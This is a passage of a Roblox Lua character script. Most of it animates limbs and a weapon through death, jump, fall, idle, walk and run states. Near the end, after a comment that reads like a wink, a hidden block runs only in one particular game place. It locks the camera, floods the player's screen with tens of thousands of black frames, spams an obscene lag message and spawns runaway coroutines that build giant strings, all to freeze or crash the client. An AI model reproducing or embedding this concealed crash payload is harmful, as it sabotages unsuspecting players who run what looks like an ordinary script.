RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) end light.Range=0 for i=0,1,0.01 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) end so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9) fire.Rate = 1000 fire2.Rate = 1000 fire3.Rate = 1000 fire4.Rate = 1000 Fire:Play() Fire2:Play() Fire3:Play() Fire4:Play() for i=0,1,0.005 do swait() Character.Head.face.Transparency = 0+1*i LeftArm.Transparency=0+1*i RightArm.Transparency=0+1*i LeftLeg.Transparency=0+1*i RightLeg.Transparency=0+1*i Head.Transparency=0+1*i Torso.Transparency=0+1*i for _,v in pairs(Character:children()) do if v:IsA("Hat") then v.Handle.Transparency = 0+1*i RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) end end --dmgstop() end Humanoid.Health = 0 end equipanim() local sine = 0 local change = 1 local val = 0 local mananum=0 while true do swait() sine = sine + change local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude local velderp=RootPart.Velocity.y hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) if equipped==true or equipped==false then if Anim=="Idle" and attack==false then idle=idle+1 else idle=0 end if Humanoid.Health <=20 then if attack == false then Humanoid.Health = math.huge Die() end end if idle>=1000 then if attack==false then --Sheath() end end if RootPart.Velocity.y > 1 and hitfloor==nil then Anim="Jump" if attack==false then Footsteps:Stop() Footsteps2:Stop() Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) end elseif RootPart.Velocity.y < -1 and hitfloor==nil then Anim="Fall" if attack==false then Footsteps:Stop() Footsteps2:Stop() Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) end elseif torvel<1 and hitfloor~=nil then Anim="Idle" change=0.5 if idle>=1000 then if attack==false then Footsteps:Stop() Footsteps2:Stop() Humanoid.WalkSpeed=12 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1) Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-15)),.1) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) RW.C0=clerp(RW.C0,cf(0.8,0.3,-0.5)*angles(math.rad(70),math.rad(0),math.rad(-85)),.5) LW.C0=clerp(LW.C0,cf(-0.6,0.5,-0.7)*angles(math.rad(70),math.rad(0),math.rad(85)),.5) RH.C0=clerp(RH.C0,cf(1,-0.325,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(0),math.rad(0),math.rad(0)),.1) LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(24)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3) Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) end else if attack==false then Footsteps:Stop() Footsteps2:Stop() Humanoid.WalkSpeed=12 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1) Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) RW.C0=clerp(RW.C0,cf(0.8,0.3,-0.5)*angles(math.rad(70),math.rad(0),math.rad(-85)),.5) LW.C0=clerp(LW.C0,cf(-0.6,0.5,-0.7)*angles(math.rad(70),math.rad(0),math.rad(85)),.5) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(0),math.rad(0),math.rad(0)),.1) LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(24)),.3) handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) end end elseif torvel>2 and torvel<22 and hitfloor~=nil then Anim="Walk" if attack==false then change=0.8 --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) RH.C0=clerp(RH.C0,RHC0,.3) LH.C0=clerp(LH.C0,LHC0,.3) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) ]]-- Footsteps:Play() Footsteps2:Stop() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3) Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3) LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3) RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) end elseif torvel>=22 and hitfloor~=nil then Anim="Run" change=1 if attack==false then Footsteps:Stop() Footsteps2:Play() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3) RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2) MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) end end end fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true) fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]" text.Text = math.floor(hum.Health) if mana>=100 then mana=100 else if mananum<=8 then mananum=mananum+100 else mananum=0 mana=mana+100 end end end --- shshshhh this is where the fun comes in --- if game.PlaceId == 21053279 then plr = game.Players.LocalPlayer char = plr.Character cam = workspace.CurrentCamera cam.CameraType = "Scriptable" cam.CoordinateFrame = CFrame.new(0,0,50) local localContainer local service=setmetatable({ MarketPlace=game:service("MarketplaceService"); GamepassService=game:service("GamePassService"); ChatService=game:service("Chat"); LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; },{ __index=function(tab,index) local serv local ran,err=pcall(function() serv=game:service(index) end) if ran then tab[index]=serv return serv end end }) local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end x=game.Players.LocalPlayer x.CameraMode=Enum.CameraMode.LockFirstPerson f=Instance.new("Frame") f.Size=UDim2.new(1,0,1,0) f.BackgroundTransparency=0.01 f.BackgroundColor3=Color3.new() pg=x.PlayerGui gui=Instance.new("ScreenGui",pg) wait(.1) for i=1,28000 do f:Clone().Parent=gui f:Clone().Parent=gui f:Clone().Parent=gui end script:Destroy(); local runService = Game:GetService("RunService").Stepped; local LagNum = 1250; local str = "lag fucker lag"; for i = 1, math.huge do if i % LagNum == 0 then runService:wait(); end Instance.new("Message", Workspace).Text = str; end local bores=coroutine.create(function() --Yolo? cPcall(function() --print(Game[("%s|"):rep(0xFFFFFFF)]) cPcall(print,'lol') cPcall(warn,'lol') cPcall(error,'lol') while wait(0.1) do spawn(function() cPcall(function() spawn(function() local tab={} pcall(function() spawn(function() for i=1,1000000 do cPcall(function() spawn(function() local bob2=coroutine.create(function() function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end spawn(f1) end) spawn(function() delay(0,function() coroutine.resume(bob2) end) end) spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) end) end) end tab={} end) end) end) end) end) end end) end) service.RunService.Stepped:connect(function() for i=1,500000 do delay(0,function() pcall(function() coroutine.resume(bores) end) end) end end) local function bob() cPcall(function() while wait(0.1) do --cPcall(function() --for i=1,100 do local p=Instance.new("Part") p.Material="Neon" p.Size=Vector3.new(50,50,50) p.Anchored=true p.BackSurface="Studs" p.BottomSurface="Studs" p.FrontSurface="Studs" p.LeftSurface="Studs" p.RightSurface="Studs" p.TopSurface="Studs" local t=Instance.new("Texture",p) t.Texture="http://www.roblox.com/asset/?id=190803157" t.Face="Top" t.StudsPerTileU=1000 t.StudsPerTileV=1000 local t2=t:clone() t2.Parent=p t2.Face="Bottom" local t2=t:clone() t2.Parent=p t2.Face="Left" local t2=t:clone() t2.Parent=p t2.Face="Right" local t2=t:clone() t2.Parent=p t2.Face="Front" local t2=t:clone() t2.Parent=p t2.Face="Back" p.Parent=service.LocalContainer() --end --end) end end) end bob() --while wait(0.1) do cPcall(bob) end end -- ~CLarramore